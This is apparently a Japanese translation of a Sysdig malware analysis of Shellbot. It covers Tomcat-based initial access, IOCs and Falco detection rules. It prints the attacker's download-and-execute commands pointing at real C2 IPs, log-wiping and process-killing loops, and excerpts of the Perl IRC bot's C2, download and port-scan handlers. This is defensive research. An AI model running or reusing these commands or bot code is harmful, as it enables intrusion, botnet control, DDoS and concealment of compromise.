マルウェア解析:Hands-On Shellbotマルウェア

By 清水 孝郎 - NOVEMBER 3, 2021

SHARE:

本文の内容は、2021年11月2日にAlberto Pellitteriが投稿したブログ(https://sysdig.com/blog/malware-analysis-shellbot-sysdig/)を元に日本語に翻訳・再構成した内容となっております。

マルウェアの解析は、あらゆる企業のインシデント検知とシステムの回復処理を向上させるための基本的な要素です。Sysdig セキュリティリサーチチームは、Shellbotマルウェアの仕組みと検知方法を取り上げます。

Shellbotマルウェアはいまだに蔓延しています。オープンなGithubリポジトリでも公開されている比較的古くから知られている攻撃であるにもかかわらず、数多くのインシデントを記録しました。

Shellbot malwareシェルボット型マルウェア

このマルウェアが標的となるシステムに正常にデプロイされると、関連するIRCサーバーから受け取った指示に従って、以下のような異なる目的で使用される可能性があります。

  • 複数のファイルをダウンロードして持続させる
  • ポートスキャンを実行してネットワーク全体を探索する
  • データ流出を実行する
  • 分散型サービス拒否(DDoS)に参加する

Shellbotマルウェアとは何ですか?

Shellbotマルウェアは、攻撃者がC&Cサーバーと通信して、被害者のマシン内でコマンドを実行することを可能にします。C&Cサーバーは、このシナリオではIRCサーバーとも呼ばれますが、通信チャネルを維持し、実行すべきコマンドを指定するための手段として、被害者のマシンに直接メッセージを送信することができます。

その特徴は、被害者のマシンが最初の実行後に複数のバイナリをダウンロードして起動することです。それらの多くは、同じ目的を持っていますが、異なるOS(32/64ビット)とCPU(arm、mips)用に設計されています。

このマルウェアを解析するために、サービスを誤設定したハニーポットを使用して、異なるバイナリの実際の痕跡を確認します。まず、Shellbotマルウェアの挙動について簡単に説明します。

Schema Shellbot malwareShellbotマルウェアのスキーマ

  1. このShellbotマルウェアのエントリーポイントは、設定ミスのあるTomcatアプリケーションで、ダッシュボード管理用のデフォルトの認証情報を持っていました。
  2. 最初のコマンドは、Shellbotマルウェアの舞台となるinitdスクリプトをダウンロードしました。
  3. 実行されると、この最初のスクリプトは
    1. 複数のバイナリやスクリプトをダウンロードしました。
    2. 新しいダウンロードの痕跡を消去し、発見されないようにしました。
  4. Ulimit.sh スクリプトは、ユーザープロセスのリソース制限を増やそうとしました。
  5. Bash.sh スクリプトは、代わりに、Killされるべき特定のプロセスID(PID)をソケット間で確認するためのループを継続しました。
  6. 最後に、PerlスクリプトやELFファイルとしてダウンロードされた他のバイナリもありますが、これはマルウェアをさまざまなプラットフォームで実行できるようにするための工夫です。これらが本物のShellbotと呼ばれるマルウェアで、被害者にIRCサーバーとの通信を強要し、好きなものを実行したり、走らせたりします。
マルウェアの解析では、被害者のコンテナが、リモートのドメインにDoSを引き起こす目的で悪用され、何千ものパケットで溢れかえっていることを確認しました。

ここでは、このShellbotマルウェアが具体的にどのように動作するのかを詳細に調べ、悪意のある動作を理解して、オープンソースのFalcoで検出する方法を学んでいきましょう。

Shellbotマルウェアの詳細

#1 初期アクセス – ハッキングされたTomcatとinitdスクリプト

攻撃者はTomcatコンテナにアクセスし、デフォルトの認証情報をブルートフォースで取得し、リバースシェルを生成しました。次のコマンドを実行して、最初のbashスクリプトをダウンロードしました。


このスクリプトは、コンテナ内に既に存在していた場合に備えてトレースを削除した後、実行するために他のファイルをダウンロードしました。

cd /tmp; wget http://192.99.43.212/54545asd5asd45as45/mizakotropistax64; curl -O http://192.99.43.212/54545asd5asd45as45/mizakotropistax64; cat mizakotropistax64 >x0000x;chmod +x *;nice -20 ./x0000x dedicated
cd /tmp; wget http://192.99.43.212/craton.pl -O /tmp/craton.pl; curl http://192.99.43.212/craton.pl -o /tmp/craton.pl; chmod 777 /tmp/craton.pl; perl /tmp/craton.pl; rm -rf /tmp/craton.pl; rm -rf /tmp/craton.pl.*
cd /tmp; wget http://192.99.43.212/bash.sh; curl http://192.99.43.212/bash.sh -o bash.sh; chmod 777 bash.sh; nohup bash bash.sh &
cd /tmp; wget http://192.99.43.212/ulimit.sh; curl http://192.99.43.212/ulimit.sh -o ulimit.sh; chmod 777 ulimit.sh; bash ulimit.sh; rm -rf ulimit.sh
cd /tmp; wget http://144.217.249.55/bot.pl -O /tmp/bot.pl --quiet; curl -s http://144.217.249.55/bot.pl -o /tmp/bot.pl; perl /tmp/bot.pl; rm -rf /tmp/bot.pl; rm -rf /tmp/bot.pl.1
mkdir /tmp/.logs/
cd /tmp; wget http://144.217.249.55/apachelogd -O /tmp/.logs/apachelogd; curl http://144.217.249.55/apachelogd -o /tmp/.logs/apachelogd; chmod +x /tmp/.logs/apachelogd; rm -rf /tmp/.logs/apachelogd.*

このマルウェアは、ユーザーが新しいターミナルを開いたときに、ファイルを再度ダウンロードするようにシェルの設定ファイルを修正しました。

最終的に、このマルウェアはすべてのファイル、履歴、そしてIRCサーバから取得したものをすべて削除しました。

...
rm -rf /var/tmp/bot.pl
rm -rf /tmp/bot.pl
rm -rf bot.pl
rm -rf bot.pl.1
rm -rf /tmp/bot.pl.1
rm -rf /var/tmp/bot.pl.1
rm -rf /var/tmp/meca.pl
rm -rf /var/tmp/meca2.pl
rm -rf /tmp/meca2.pl
rm -rf /tmp/meca.pl
rm -rf /tmp/mizakotropista*
rm -rf /tmp/x0000x*
rm -rf /tmp/*.sh
rm -rf /tmp/*.pl.*
...

#2 マルウェアの能力は無限大 – ulimit.shスクリプト

この ulimit.sh スクリプトは、攻撃者が root 権限を持っているかどうかを確認する方法として、最初に$EUID 変数をチェックします。権限がある場合、ulimit コマンドを実行して、ユーザープロセスの最大数 (-u)、スケジューリングの最大優先度 (-e)などのリソース制限を設定できるようにしました。

...
ulimit -u unlimited
ulimit -s unlimited
ulimit -q unlimited
ulimit -n 999999
ulimit -l unlimited
ulimit -i unlimited
ulimit -c unlimited
ulimit -e unlimited
ulimit -r unlimited
...

#3 ステルスマルウェアの活動 – bash.shスクリプト

bash.sh スクリプトは、この攻撃が存在したという証拠を消すために延々とループし、 initdスクリプトもそうしました。

実際には、すべてのソケットをプロセス名とプロセスIDとともに出力し、kill -9コマンドでKillすべき特定のソケットを探しました。
そして、いくつかの証拠を取り除き、1秒スリープして、再びループしました。

while true
Do
netstat -anp | grep '666' | awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep '107.172' | awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
rm -rf /tmp/*.arm
rm -rf /tmp/*.arm5n
rm -rf /tmp/*.arm7
rm -rf /tmp/*.m68k
rm -rf /tmp/*.mips
rm -rf /tmp/*.mpsl
rm -rf /tmp/*.ppc
rm -rf /tmp/*.sh4
...

#4 Shellbot のコア:bot.plとcraton.pl

ポッドでマルウェア解析を行うために、 initdスクリプトは最初にmizakotropistax86やいくつかのPerlスクリプトなどのバイナリをダウンロードしていました。これらのバイナリの本当の目的は同じなので、ここではPerlのものを見てみましょう。

Bot.pl  craton.pl は、異なるポートを介して異なるIRCサーバと通信するために使用される2つの同じスクリプトです。このPerlスクリプトは、Githubでも公開されており、攻撃者が改変することで、マルウェアの動作やIRCサーバがしたいことをカスタマイズしたり、マルウェアを検出するための典型的なブラックリストの手法を回避したりすることができます。

それでは、このスクリプトを見てみましょう。

Perlスクリプトの静的コード解析

最初に、IRCサーバのIPとそのポートが定義されています。

my $servidor='192.99.43.212' unless $servidor;
my $porta='2894';
my @canais=("#spoof");
my @adms=("r00x");

このスクリプトでは、シグナルキーの値への参照を追加することで、いくつかのシグナルの処理方法も指定しています。この場合、 'IGNORE'の値を使用することで、プロセスは以下のシグナルを無視することができます。

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

さらに、スクリプトは最初に、ソケットを作成して処理するためのオブジェクト指向のやり方でIO::Socketインターフェイスの使用を宣言しています。このインターフェイスでは、最初にソケットを設定し、can_read() メソッドを実行して、読み取り可能なハンドルの配列を受け取ります。


my @ready = $sel_cliente->can_read(0.6);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/n/, $msg);
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /r$/) {
parse("$line");
} elsif ($line =~ /^(S+) NOTICE AUTH :***/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
...

スクリプトは、ハンドルを取得するごとに、ソケットから 4096 bytes を読み込み、変数 $msgに格納し、改行文字で各メッセージを複数の行に分割します。

これらの行が分割されると、スクリプトはそれぞれの行に対して parse() サブルーチンを呼び出し、特定の正規表現にマッチさせて、ボットや被害者のシステムに、IRCサーバが望むことを何でもさせるようにします。

ここでは、IRCサーバから受信した各行の中で解析され、ターゲットシステムから実行される特定の実行をコード化するいくつかのパターンを紹介します。

  • これは、ボットとIRCサーバの間のコミュニケーションチャンネルを維持するために使用されるPING-PONGの交換です。また、Sysdig Inspectでキャプチャーを解析して、このやり取りがどのように表示されるかの例を追っています。
if ($servarg =~ /^PING :(.*)/) {
sendraw("PONG :$1");
}


  • IRCサーバは、被害者のマシン内にある特定のリソースをダウンロードするよう要求することもできます。この場合、マシンは別の関数を呼び出して特定のリソースを取得し、ファイルシステムに保存します。

elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
getstore("$1", "$2");
sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Concluido!") if($estatisticas);
}

  • また、ターゲットIPの特定のポートにアクセスすることを目的としたポートスキャンや、フルポートスキャンの実行を要求することもできます。開いているポートについて収集された情報は、IRCサーバに送り返されます。

if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my @portas=("21","22","23","25","53","80","110","143");
my (@aberta, %porta_banner);
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
}
}

elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
my $hostname="$1";
my $portainicial = "$2";
my $portafinal = "$3";
my (@abertas, %porta_banner);
foreach my $porta ($portainicial..$portafinal) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
if ($scansock) {
push (@abertas, $porta);
$scansock->close;
if ($estatisticas) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
}
}
}
if (@abertas) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
}
}


  • また、データの流出やその他の情報の交換、より具体的なコマンドを実行するために、双方が ”プライベートメッセージ” を送信することも可能です。

#5 フラッディングバイナリ:apachelogd

このバイナリは、Shellbotの感染初期に、前に紹介した initd bashスクリプトからダウンロードされました。

このバイナリは、リモートコマンドがIRCサーバに受信されるまで、ステルス状態を維持しているのが非常に興味深いです。

実際のところ、攻撃を受けてから数時間後に、このコマンドの実行に気づきました:



その後、私たちのコンテナは、コマンドラインで指定されたドメインに殺到し始め、常に同じ受信者ポートをターゲットにしていましたが、クライアントポートを継続的に変更していました。


検出されたIOCおよび不審な活動の概要

IPs & URLs

  • 192.99.43.212
  • 144.217.249.55
  • 141.95.19.123
  • https://cadastramentoltau.com/

ファイルとSHA256:

  • Initd
    • 718db42305a8d5b4c3ff74a05037de2f5e679db24bf86b8e88ab34c490699ea3
  • Bash.sh
    • a5e010b0abf603facae5676c2c37f7063f6efc12bc7c863982bff133ec547a3f
  • Ulimit.sh
    • db5382c0ef1b204672b4168425d737380288653ac74360b39f1ec466a5a47eb9
  • Bot.pl
    • d4bbe4087175d3981b2925b77c24baffd8e086c2f9df7179d142e00e7e2ec3ce
  • Craton.pl
    • 7046260a23088b52debdeb701032db0352323ed26d9816daa4a53222b26ca720
  • Mizakotropistax86
    • 5d6f674a7abab5e60548531a69e6ecb23cc2e2fe823cd7f8ccac6928db5f757e
  • Apachelogd
    • 387099a6c011c0074b9a368a7d3818e3daab0b24527b65d589b583772f5e1c56

疑わしいビヘイビア

我々のマルウェア解析において、特筆すべきいくつかの疑わしい動作があります。
  • ランタイム時(ビルド時ではない)にコンテナ内でwgetまたはcurlコマンドを実行する。
  • ランタイム時に/tmpフォルダ以下に書き込み、新しいファイルに実行権限を与えることは、今後のマルウェア実行の兆候である可能性があります。
  • ファイルの削除や履歴の削除は、何かが自分の痕跡を隠そうとしていることを表している可能性があります。
  • IRCサーバーとのネットワーク通信や、インターネット上の異常なアウトバウンドトラフィック。
これらの活動を特定した後、どのようにしてその検出を行うかを見ていきます。

Falcoによるマルウェア実行の検出

このShellbotマルウェアやその他の一般的なマルウェアの検出には、Falcoを使用して、疑わしい接続や悪意のあるバイナリのダウンロードと実行を見つけることができます。

FalcoはCNCFのオープンソースプロジェクトで、アプリケーションの予期せぬ動作を検出し、ランタイム時にアラートを送信するために使用されます。

強力で柔軟なルール言語を活用して、疑わしい動作を照合し、イベントアラートを生成することができます。事前に定義されたルールセットが付属していますが、必要に応じてカスタマイズしたり、ニーズに合った新しいルールを作成したりすることもできます。

ここでは、いくつかの便利なカスタムルールを紹介します。

- rule: Unexpected outbound connection destination
  desc: Detect any outbound connection to a destination outside of an allowed set of ips, networks, or domain names
  condition: >
    consider_all_outbound_conns and outbound and not
    ((fd.sip in (allowed_outbound_destination_ipaddrs)) or
     (fd.snet in (allowed_outbound_destination_networks)) or
     (fd.sip.name in (allowed_outbound_destination_domains)))
  output: Disallowed outbound connection destination (command=%proc.cmdline connection=%fd.name user=%user.name user_loginuid=%user.loginuid container_id=%container.id image=%container.image.repository)
  priority: NOTICE
  tags: [network]

- rule: Modify Shell Configuration File
  desc: Detect attempt to modify shell configuration files
  condition: >
    open_write and
    (fd.filename in (shell_config_filenames) or
     fd.name in (shell_config_files) or
     fd.directory in (shell_config_directories))
    and not proc.name in (shell_binaries)
    and not exe_running_docker_save
  output: >
    a shell configuration file has been modified (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline pcmdline=%proc.pcmdline file=%fd.name container_id=%container.id image=%container.image.repository)
  priority:
    WARNING
  tags: [file, mitre_persistence]

- rule: Interpreted procs outbound network activity
  desc: Any outbound network activity performed by any interpreted program (perl, python, ruby, etc.)
  condition: >
    (outbound and consider_interpreted_outbound
     and interpreted_procs)
  output: >
    Interpreted program performed outgoing network connection
    (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline connection=%fd.name container_id=%container.id image=%container.image.repository)
  priority: NOTICE
  tags: [network, mitre_exfiltration]

- rule: Container Drift Detected (chmod)
  desc: New executable created in a container due to chmod
  condition: >
    chmod and
    consider_all_chmods and
    container and
    not runc_writing_var_lib_docker and
    not user_known_container_drift_activities and
    evt.rawres>=0 and
    ((evt.arg.mode contains "S_IXUSR") or
    (evt.arg.mode contains "S_IXGRP") or
    (evt.arg.mode contains "S_IXOTH"))
  exceptions:
    - name: proc_name_image_suffix
      fields: [proc.name, container.image.repository]
      comps: [in, endswith]
    - name: cmdline_file
      fields: [proc.cmdline, fd.name]
      comps: [in, in]
      values:
        - [["runc:[1:CHILD] init"], [/exec.fifo]]
  output: Drift detected (chmod), new executable created in a container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline filename=%evt.arg.filename name=%evt.arg.name mode=%evt.arg.mode event=%evt.type)
  priority: ERROR

- rule: Outbound Connection to C2 Servers
  desc: Detect outbound connection to command & control servers
  condition: outbound and fd.sip in (c2_server_ip_list)
  exceptions:
    - name: proc_proto_sport
      fields: [proc.name, fd.l4proto, fd.sport]
  output: Outbound connection to C2 server (command=%proc.cmdline connection=%fd.name user=%user.name user_loginuid=%user.loginuid container_id=%container.id image=%container.image.repository)
  priority: WARNING
  tags: [network]

ルールの全説明はGitHubで確認できます。

これらのFalcoルールは、Perlなどの解釈されたプログラムの有無にかかわらず、疑わしいアウトバウンドおよびインバウンドのトラフィックを検出することができます。また、ダウンロードしたファイルに実行権限を与えたり、シェルの設定ファイルを変更したりするなど、このShellbotマルウェアが採用している他の一般的な動作も検出できます。

Sysdig Secureでの検出

Sysdig Secure DevOps PlatformはFalcoをベースにして構築されており、この攻撃の検出にも使用できます。例えば、DevOpsは以下のことができます:
  • ホワイトリストに載っていない宛先IPやポートを検出するポリシーを作成する。
  • 許可リストにないバイナリやスクリプトの起動を検出するためのポリシーを作成する(craton.pl、bot.plなど)。
  • 想定外のPerlなどの解釈されたプログラムによる実行を検出するポリシーを作成する。

 c2_server_ip_list には、私たちが見つけた悪意のあるIPを入れることができます。

さらに、Falcoルールがトリガーされたときに、関係するシステムをKillして再起動することで、これらの動作を防ぐこともできます。

まとめ

Sysdig セキュリティ リサーチ チームは、検出システムを改善するために、Shellbotマルウェアのアーキテクチャと悪意のある活動を深く掘り下げました。

システムを危険にさらし、攻撃者に新しいファイルをダウンロードさせたり、接続を開いたり、マシンを活用して特定のターゲットにDDoS攻撃を仕掛けるなどの可能性を与える、カウンタートレンドのマルウェアを取り上げました。

そのため、システム管理者は、不審な動作や異常な接続を検知するためのツールを常に導入する必要があります。このようにして、環境の整合性を守り、ゾンビシステムにならないように、すべてのサービスやソフトウェアを最新の状態に保つことができるのです。

Falcoについてもっと知りたい方は、こちらをご覧ください:



Sysdig Secureは、他のオープンソースプロジェクトとともに、アウトオブボックスのルールでFalcoを拡張し、Kubernetesのセキュリティへの取り組みと管理をさらに容易にしています。30日間の無料トライアルに登録して、ご自身の目で確かめてください!

Sysdig Secure DevOps Platformは、コンテナ、Kubernetes、クラウドサービスを自信を持って実行するためのセキュリティを提供します。Sysdigでは、ビルド・パイプラインの保護、ランタイムの脅威の検出と対応、コンプライアンスの継続的な検証、クラウド・インフラストラクチャーとサービスの監視とトラブルシューティングを行うことができます。今すぐお試しください